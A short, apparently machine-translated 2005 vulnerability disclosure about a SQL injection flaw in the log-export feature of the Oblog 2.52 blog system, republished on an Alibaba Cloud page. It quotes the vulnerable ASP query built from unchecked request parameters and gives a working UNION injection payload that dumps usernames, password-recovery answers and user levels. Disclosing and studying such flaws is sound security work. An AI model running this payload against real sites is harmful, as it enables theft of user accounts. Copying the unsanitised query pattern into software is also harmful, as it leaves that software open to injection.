Oblog 2.52 Export Log Latest vulnerabilities

Source: Internet
Author: User
Tags log sql net sql injection client
Oblog 2.52 Export Log Latest vulnerabilities


/**
Author: Ci Qin Qiang

Http://blog.csdn.net/cqq

2005-02-22
*/



Yesterday, just from the official website of Oblog Download a set of the latest blog system, version is 2.52 bar.

Originally was on the QQ to see a friend to discuss help.asp file intrusion ideas,

That article can be found here,

Http://blog.csdn.net/cqq/archive/2005/02/22/297316.aspx



After that, conveniently registered a user, the general browsing a bit,

The ability to have an export log in the background is relatively good,

This prevents the blog site from shutting down, and its own hard to write articles can not save the problem.

CSDN Blog does not export the function of the log, for this I also deliberately wrote a small program,

Please look here:

Http://blog.csdn.net/cqq/archive/2005/02/04/280545.aspx




However, the ASP file for this export log has a SQL injection vulnerability,

was originally derived from their own articles,

In this way, any data in the database can be freely exported,

Directly endanger the entire blog system security.



The main SQL code is as follows:


Sdate=request ("Selecty") & "-" &request ("SELECTM") & "-" &request ("SELECTD")

Edate=request ("Selectey") & "-" &request ("Selectem") & "-" &request ("selected")

Sql= "Select Topic,addtime,logtext from blog where username= '" &username& "and addtime<=#" &edate& "# and

addtime>=# "&sdate&" "#"



As you can see, all the client data is used without checking.

Naturally there will be problems,

Because no matter what the situation, the client's data are not easy to believe.



So, we construct this type of input

"Selectd=22# and 1=2 Union select Username,answer,userlevel from [user] union select topic,addtime,logtext from Blog

where addtime<= #1900-1-1 "

The entire SQL statement becomes:

Select Topic,addtime,logtext from blog where username= ' Ci qin strong ' and addtime<= #2007 -2-22# and addtime>= #2000 -2-22# and

1=2
Union select Username,answer,userlevel from [user]
Union select Topic,addtime,logtext from blog where addtime<= #1900 -1-1#



This allows you to output all user names, user password answer questions, and user ratings.

Of course, you can get any content in the database, as long as the appropriate transformation of the SQL statements.







Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.